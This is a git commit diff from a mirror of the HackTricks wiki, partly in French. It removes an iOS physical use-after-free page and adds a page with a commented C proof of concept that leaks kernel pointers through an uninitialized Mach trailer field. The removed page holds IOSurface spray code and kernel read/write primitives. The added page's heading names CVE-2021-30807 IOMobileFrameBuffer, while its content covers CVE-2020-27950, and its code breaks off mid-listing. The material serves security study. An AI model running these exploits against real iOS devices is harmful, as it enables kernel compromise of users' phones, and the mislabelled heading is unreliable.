mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/ios-exploiting/ios-physical-uaf-ios
This commit is contained in:
parent
ebab4d4509
commit
32c7c0ed3e
@ -768,7 +768,7 @@
|
||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||
@ -838,7 +838,7 @@
|
||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
||||
|
||||
# 🤖 AI
|
||||
- [AI Security](AI/README.md)
|
||||
|
@ -1,208 +0,0 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Utilisation physique après libération
|
||||
|
||||
Ceci est un résumé du post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), de plus, des informations supplémentaires sur l'exploitation utilisant cette technique peuvent être trouvées dans [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
|
||||
### Gestion de la mémoire dans XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
||||
|
||||
L'**espace d'adresses mémoire virtuelle** pour les processus utilisateurs sur iOS s'étend de **0x0 à 0x8000000000**. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le **noyau** utilise des **tables de pages** pour traduire les adresses virtuelles en **adresses physiques** réelles.
|
||||
|
||||
#### Niveaux des Tables de Pages dans iOS
|
||||
|
||||
Les tables de pages sont organisées hiérarchiquement en trois niveaux :
|
||||
|
||||
1. **Table de Pages L1 (Niveau 1)** :
|
||||
* Chaque entrée ici représente une large plage de mémoire virtuelle.
|
||||
* Elle couvre **0x1000000000 bytes** (ou **256 Go**) de mémoire virtuelle.
|
||||
2. **Table de Pages L2 (Niveau 2)** :
|
||||
* Une entrée ici représente une région plus petite de mémoire virtuelle, spécifiquement **0x2000000 bytes** (32 Mo).
|
||||
* Une entrée L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la région elle-même.
|
||||
3. **Table de Pages L3 (Niveau 3)** :
|
||||
* C'est le niveau le plus fin, où chaque entrée mappe une seule page mémoire de **4 Ko**.
|
||||
* Une entrée L2 peut pointer vers une table L3 si un contrôle plus granulaire est nécessaire.
|
||||
|
||||
#### Mapping de la Mémoire Virtuelle à Physique
|
||||
|
||||
* **Mapping Direct (Mapping par Bloc)** :
|
||||
* Certaines entrées dans une table de pages **mappent directement une plage d'adresses virtuelles** à une plage contiguë d'adresses physiques (comme un raccourci).
|
||||
* **Pointeur vers la Table de Pages Enfant** :
|
||||
* Si un contrôle plus fin est nécessaire, une entrée à un niveau (par exemple, L1) peut pointer vers une **table de pages enfant** au niveau suivant (par exemple, L2).
|
||||
|
||||
#### Exemple : Mapping d'une Adresse Virtuelle
|
||||
|
||||
Disons que vous essayez d'accéder à l'adresse virtuelle **0x1000000000** :
|
||||
|
||||
1. **Table L1** :
|
||||
* Le noyau vérifie l'entrée de la table de pages L1 correspondant à cette adresse virtuelle. Si elle a un **pointeur vers une table de pages L2**, elle va à cette table L2.
|
||||
2. **Table L2** :
|
||||
* Le noyau vérifie la table de pages L2 pour un mapping plus détaillé. Si cette entrée pointe vers une **table de pages L3**, elle y procède.
|
||||
3. **Table L3** :
|
||||
* Le noyau consulte l'entrée finale L3, qui pointe vers l'**adresse physique** de la page mémoire réelle.
|
||||
|
||||
#### Exemple de Mapping d'Adresse
|
||||
|
||||
Si vous écrivez l'adresse physique **0x800004000** dans le premier index de la table L2, alors :
|
||||
|
||||
* Les adresses virtuelles de **0x1000000000** à **0x1002000000** mappent aux adresses physiques de **0x800004000** à **0x802004000**.
|
||||
* C'est un **mapping par bloc** au niveau L2.
|
||||
|
||||
Alternativement, si l'entrée L2 pointe vers une table L3 :
|
||||
|
||||
* Chaque page de 4 Ko dans la plage d'adresses virtuelles **0x1000000000 -> 0x1002000000** serait mappée par des entrées individuelles dans la table L3.
|
||||
|
||||
### Utilisation physique après libération
|
||||
|
||||
Une **utilisation physique après libération** (UAF) se produit lorsque :
|
||||
|
||||
1. Un processus **alloue** de la mémoire comme **lisible et écrivable**.
|
||||
2. Les **tables de pages** sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
|
||||
3. Le processus **désalloue** (libère) la mémoire.
|
||||
4. Cependant, en raison d'un **bug**, le noyau **oublie de supprimer le mapping** des tables de pages, même s'il marque la mémoire physique correspondante comme libre.
|
||||
5. Le noyau peut alors **réallouer cette mémoire physique "libérée"** à d'autres fins, comme des **données du noyau**.
|
||||
6. Puisque le mapping n'a pas été supprimé, le processus peut toujours **lire et écrire** dans cette mémoire physique.
|
||||
|
||||
Cela signifie que le processus peut accéder aux **pages de mémoire du noyau**, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de **manipuler la mémoire du noyau**.
|
||||
|
||||
### Stratégie d'Exploitation : Spray de Tas
|
||||
|
||||
Puisque l'attaquant ne peut pas contrôler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée **spray de tas** :
|
||||
|
||||
1. L'attaquant **crée un grand nombre d'objets IOSurface** dans la mémoire du noyau.
|
||||
2. Chaque objet IOSurface contient une **valeur magique** dans l'un de ses champs, ce qui le rend facile à identifier.
|
||||
3. Ils **scannent les pages libérées** pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
|
||||
4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour **lire et écrire dans la mémoire du noyau**.
|
||||
|
||||
Plus d'infos à ce sujet dans [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
### Processus de Spray de Tas Étape par Étape
|
||||
|
||||
1. **Spray d'Objets IOSurface** : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
|
||||
2. **Scanner les Pages Libérées** : Ils vérifient si l'un des objets a été alloué sur une page libérée.
|
||||
3. **Lire/Écrire dans la Mémoire du Noyau** : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacité d'effectuer des **lectures et écritures arbitraires** dans la mémoire du noyau. Cela leur permet de :
|
||||
* Utiliser un champ pour **lire n'importe quelle valeur 32 bits** dans la mémoire du noyau.
|
||||
* Utiliser un autre champ pour **écrire des valeurs 64 bits**, atteignant un **primitive de lecture/écriture stable du noyau**.
|
||||
|
||||
Générer des objets IOSurface avec la valeur magique IOSURFACE\_MAGIC pour rechercher plus tard :
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
for (int i = 0; i < nSurfaces; i++) {
|
||||
fast_create_args_t args;
|
||||
lock_result_t result;
|
||||
|
||||
size_t size = IOSurfaceLockResultSize;
|
||||
args.address = 0;
|
||||
args.alloc_size = *nClients + 1;
|
||||
args.pixel_format = IOSURFACE_MAGIC;
|
||||
|
||||
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
||||
io_connect_t id = result.surface_id;
|
||||
|
||||
(*clients)[*nClients] = id;
|
||||
*nClients = (*nClients) += 1;
|
||||
}
|
||||
}
|
||||
```
|
||||
Recherchez des objets **`IOSurface`** dans une page physique libérée :
|
||||
```c
|
||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||
int nSurfaceIDs = 0;
|
||||
|
||||
for (int i = 0; i < 0x400; i++) {
|
||||
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
||||
|
||||
for (int j = 0; j < nPages; j++) {
|
||||
uint64_t start = puafPages[j];
|
||||
uint64_t stop = start + (pages(1) / 16);
|
||||
|
||||
for (uint64_t k = start; k < stop; k += 8) {
|
||||
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
||||
info.object = k;
|
||||
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
||||
if (self_task) *self_task = iosurface_get_receiver(k);
|
||||
goto sprayDone;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sprayDone:
|
||||
for (int i = 0; i < nSurfaceIDs; i++) {
|
||||
if (surfaceIDs[i] == info.surface) continue;
|
||||
iosurface_release(client, surfaceIDs[i]);
|
||||
}
|
||||
free(surfaceIDs);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
### Réaliser des opérations de lecture/écriture du noyau avec IOSurface
|
||||
|
||||
Après avoir obtenu le contrôle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des **opérations de lecture et d'écriture arbitraires dans le noyau**.
|
||||
|
||||
**Champs clés dans IOSurface**
|
||||
|
||||
L'objet IOSurface a deux champs cruciaux :
|
||||
|
||||
1. **Pointeur de compteur d'utilisation** : Permet une **lecture 32 bits**.
|
||||
2. **Pointeur d'horodatage indexé** : Permet une **écriture 64 bits**.
|
||||
|
||||
En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.
|
||||
|
||||
#### Lecture du noyau 32 bits
|
||||
|
||||
Pour effectuer une lecture :
|
||||
|
||||
1. Écrasez le **pointeur de compteur d'utilisation** pour qu'il pointe vers l'adresse cible moins un décalage de 0x14 octets.
|
||||
2. Utilisez la méthode `get_use_count` pour lire la valeur à cette adresse.
|
||||
```c
|
||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||
uint64_t args[1] = {surfaceID};
|
||||
uint32_t size = 1;
|
||||
uint64_t out = 0;
|
||||
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
||||
return (uint32_t)out;
|
||||
}
|
||||
|
||||
uint32_t iosurface_kread32(uint64_t addr) {
|
||||
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
||||
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
||||
uint32_t value = get_use_count(info.client, info.surface);
|
||||
iosurface_set_use_count_pointer(info.object, orig);
|
||||
return value;
|
||||
}
|
||||
```
|
||||
#### Écriture du noyau 64 bits
|
||||
|
||||
Pour effectuer une écriture :
|
||||
|
||||
1. Écrasez le **pointeur de timestamp indexé** à l'adresse cible.
|
||||
2. Utilisez la méthode `set_indexed_timestamp` pour écrire une valeur 64 bits.
|
||||
```c
|
||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||
uint64_t args[3] = {surfaceID, 0, value};
|
||||
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
||||
}
|
||||
|
||||
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
||||
set_indexed_timestamp(info.client, info.surface, value);
|
||||
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
}
|
||||
```
|
||||
#### Récapitulatif du Flux d'Exploitation
|
||||
|
||||
1. **Déclencher un Utilisation-Après-Libre Physique** : Des pages libérées sont disponibles pour réutilisation.
|
||||
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
|
||||
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
|
||||
4. **Abuser de l'Utilisation-Après-Libre** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** **kernel** arbitraire via les méthodes IOSurface.
|
||||
|
||||
Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -0,0 +1,332 @@
|
||||
# CVE-2021-30807: IOMobileFrameBuffer OOB
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## The Bug
|
||||
|
||||
Vous avez une [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), mais en résumé :
|
||||
|
||||
Every Mach message the kernel receives ends with a **"trailer"**: a variable-length struct with metadata (seqno, sender token, audit token, context, access control data, labels...). The kernel **always reserves the largest possible trailer** (MAX_TRAILER_SIZE) in the message buffer, but **only initializes some fields**, then later **decides which trailer size to return** based on **user-controlled receive options**.
|
||||
|
||||
These are the trailer relevant structs:
|
||||
```c
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
} mach_msg_trailer_t;
|
||||
|
||||
typedef struct{
|
||||
mach_msg_trailer_type_t msgh_trailer_type;
|
||||
mach_msg_trailer_size_t msgh_trailer_size;
|
||||
mach_port_seqno_t msgh_seqno;
|
||||
security_token_t msgh_sender;
|
||||
audit_token_t msgh_audit;
|
||||
mach_port_context_t msgh_context;
|
||||
int msgh_ad;
|
||||
msg_labels_t msgh_labels;
|
||||
} mach_msg_mac_trailer_t;
|
||||
|
||||
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
|
||||
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
|
||||
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
|
||||
```
|
||||
Ensuite, lorsque l'objet trailer est généré, seuls certains champs sont initialisés, et la taille maximale du trailer est toujours réservée :
|
||||
```c
|
||||
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
|
||||
trailer->msgh_sender = current_thread()->task->sec_token;
|
||||
trailer->msgh_audit = current_thread()->task->audit_token;
|
||||
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
|
||||
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
|
||||
[...]
|
||||
trailer->msgh_labels.sender = 0;
|
||||
```
|
||||
Puis, par exemple, lorsqu'on tente de lire un mach message en utilisant `mach_msg()`, la fonction `ipc_kmsg_add_trailer()` est appelée pour ajouter le trailer au message. À l'intérieur de cette fonction, la taille du trailer est calculée et certains autres champs du trailer sont remplis :
|
||||
```c
|
||||
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
|
||||
return trailer->msgh_trailer_size;
|
||||
}
|
||||
|
||||
trailer->msgh_seqno = seqno;
|
||||
trailer->msgh_context = context;
|
||||
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
|
||||
```
|
||||
Le paramètre `option` est contrôlé par l'utilisateur, donc **il est nécessaire de fournir une valeur qui satisfait la condition `if`.**
|
||||
|
||||
Pour passer cette vérification, nous devons envoyer un `option` pris en charge valide :
|
||||
```c
|
||||
#define MACH_RCV_TRAILER_NULL 0
|
||||
#define MACH_RCV_TRAILER_SEQNO 1
|
||||
#define MACH_RCV_TRAILER_SENDER 2
|
||||
#define MACH_RCV_TRAILER_AUDIT 3
|
||||
#define MACH_RCV_TRAILER_CTX 4
|
||||
#define MACH_RCV_TRAILER_AV 7
|
||||
#define MACH_RCV_TRAILER_LABELS 8
|
||||
|
||||
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
|
||||
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
|
||||
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
|
||||
```
|
||||
Mais, puisque `MACH_RCV_TRAILER_MASK` ne fait que vérifier des bits, nous pouvons passer n'importe quelle valeur entre `0` et `8` pour ne pas entrer dans le `if`.
|
||||
|
||||
Ensuite, en continuant avec le code, vous pouvez trouver :
|
||||
```c
|
||||
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
|
||||
trailer->msgh_ad = 0;
|
||||
}
|
||||
|
||||
/*
|
||||
* The ipc_kmsg_t holds a reference to the label of a label
|
||||
* handle, not the port. We must get a reference to the port
|
||||
* and a send right to copyout to the receiver.
|
||||
*/
|
||||
|
||||
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
|
||||
trailer->msgh_labels.sender = 0;
|
||||
}
|
||||
|
||||
done:
|
||||
#ifdef __arm64__
|
||||
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
|
||||
#endif /* __arm64__ */
|
||||
|
||||
return trailer->msgh_trailer_size;
|
||||
```
|
||||
Comme on peut le voir, si `option` est supérieur ou égal à `MACH_RCV_TRAILER_AV` (7), le champ **`msgh_ad`** est initialisé à `0`.
|
||||
|
||||
Si vous avez remarqué, **`msgh_ad`** était encore le seul champ du trailer qui n'était pas initialisé auparavant et qui pouvait contenir un leak provenant d'une mémoire précédemment utilisée.
|
||||
|
||||
Donc, pour éviter de l'initialiser, il suffit de passer une valeur `option` égale à `5` ou `6`, ainsi elle passe le premier test `if` et n'entre pas dans l'`if` qui initialise `msgh_ad`, parce que les valeurs `5` et `6` n'ont aucun type de trailer associé.
|
||||
|
||||
### PoC basique
|
||||
|
||||
Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour simplement leak quelques données aléatoires.
|
||||
|
||||
### PoC pour leak d'une adresse kernel
|
||||
|
||||
Dans le [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), il y a un PoC pour leak une adresse kernel. Pour cela, un message rempli de structures `mach_msg_port_descriptor_t` est envoyé car le champ `name` de cette structure en userland contient un unsigned int alors qu'en kernel le champ `name` est un pointeur vers la structure `ipc_port`. Par conséquent, envoyer des dizaines de ces structures dans le message côté kernel revient à **ajouter plusieurs adresses kernel à l'intérieur du message** afin que l'une d'elles puisse être leakée.
|
||||
|
||||
Des commentaires ont été ajoutés pour une meilleure compréhension :
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
|
||||
// Number of OOL port descriptors in the "big" message.
|
||||
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
|
||||
#define LEAK_PORTS 50
|
||||
|
||||
// "Big" message: many descriptors → larger descriptor array in kmsg
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
|
||||
} message_big_t;
|
||||
|
||||
// "Small" message: fewer descriptors → leaves more room for the trailer
|
||||
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
|
||||
typedef struct {
|
||||
mach_msg_header_t header;
|
||||
mach_msg_body_t body;
|
||||
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
|
||||
} message_small_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
mach_port_t port; // our local receive port (target of sends)
|
||||
mach_port_t sent_port; // the port whose kernel address we want to leak
|
||||
|
||||
/*
|
||||
* 1) Create a receive right and attach a send right so we can send to ourselves.
|
||||
* This gives us predictable control over ipc_kmsg allocations when we send.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
/*
|
||||
* 2) Create another receive port (sent_port). We'll reference this port
|
||||
* in OOL descriptors so the kernel stores pointers to its ipc_port
|
||||
* structure in the kmsg → those pointers are what we aim to leak.
|
||||
*/
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
|
||||
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
|
||||
|
||||
printf("[*] Will get port %x address\n", sent_port);
|
||||
|
||||
message_big_t *big_message = NULL;
|
||||
message_small_t *small_message = NULL;
|
||||
|
||||
// Compute userland sizes of our message structs
|
||||
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
|
||||
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
|
||||
|
||||
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
|
||||
big_message = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
/*
|
||||
* 3) Prepare the "big" message:
|
||||
* - Complex bit set (has descriptors)
|
||||
* - 50 OOL port descriptors, all pointing to the same sent_port
|
||||
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your process’s IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
|
||||
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
|
||||
*/
|
||||
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
|
||||
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
|
||||
|
||||
big_message->header.msgh_remote_port = port; // send to our receive right
|
||||
big_message->header.msgh_size = big_size;
|
||||
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
big_message->body.msgh_descriptor_count = LEAK_PORTS;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS; i++) {
|
||||
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
|
||||
}
|
||||
|
||||
/*
|
||||
* 4) Prepare the "small" message:
|
||||
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
|
||||
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
|
||||
*/
|
||||
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
|
||||
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
|
||||
|
||||
small_message->header.msgh_remote_port = port;
|
||||
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
|
||||
| MACH_MSGH_BITS_COMPLEX;
|
||||
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
|
||||
|
||||
for (int i = 0; i < LEAK_PORTS - 10; i++) {
|
||||
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
|
||||
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
|
||||
small_message->sent_ports[i].name = sent_port;
|
||||
}
|
||||
|
||||
/*
|
||||
* 5) Receive buffer for reading back messages with trailers.
|
||||
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
|
||||
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
|
||||
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
|
||||
*/
|
||||
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
|
||||
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
|
||||
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
|
||||
|
||||
/*
|
||||
* ---------- Exploitation sequence ----------
|
||||
*
|
||||
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
|
||||
* kernel pointers (ipc_port*) in its descriptor array.
|
||||
*/
|
||||
printf("[*] Sending message 1\n");
|
||||
mach_msg(&big_message->header,
|
||||
MACH_SEND_MSG,
|
||||
big_size, // send size
|
||||
0, // no receive
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step B: Immediately receive/discard it with a zero-sized buffer.
|
||||
* This frees the kalloc chunk without copying descriptors back,
|
||||
* leaving the kernel pointers resident in freed memory (stale).
|
||||
*/
|
||||
printf("[*] Discarding message 1\n");
|
||||
mach_msg((mach_msg_header_t *)0,
|
||||
MACH_RCV_MSG, // try to receive
|
||||
0, // send size 0
|
||||
0, // recv size 0 (forces error/free path)
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
|
||||
* We slightly bump msgh_size by +4 so that when the kernel appends
|
||||
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
|
||||
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
|
||||
*/
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
|
||||
printf("[*] Sending message 2\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t),
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
/*
|
||||
* Step D: Receive message 2 and request an invalid trailer elements value (5).
|
||||
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
|
||||
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
|
||||
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
|
||||
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
|
||||
*/
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 2\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
|
||||
0,
|
||||
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
// Trailer begins right after the message body we sent (small_size + 4)
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
|
||||
|
||||
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
|
||||
sent_port_address |= (uint32_t)trailer->msgh_ad;
|
||||
|
||||
/*
|
||||
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
|
||||
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
|
||||
*/
|
||||
printf("[*] Sending message 3\n");
|
||||
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
printf("[*] Discarding message 3\n");
|
||||
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
|
||||
|
||||
// add another +4 to msgh_size → total +8 shift from the baseline
|
||||
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
|
||||
printf("[*] Sending message 4\n");
|
||||
mach_msg(&small_message->header,
|
||||
MACH_SEND_MSG,
|
||||
small_size + sizeof(uint32_t)*2,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
|
||||
printf("[*] Reading back message 4\n");
|
||||
mach_msg((mach_msg_header_t *)buffer,
|
||||
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
|
||||
0,
|
||||
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
|
||||
port,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
|
||||
|
||||
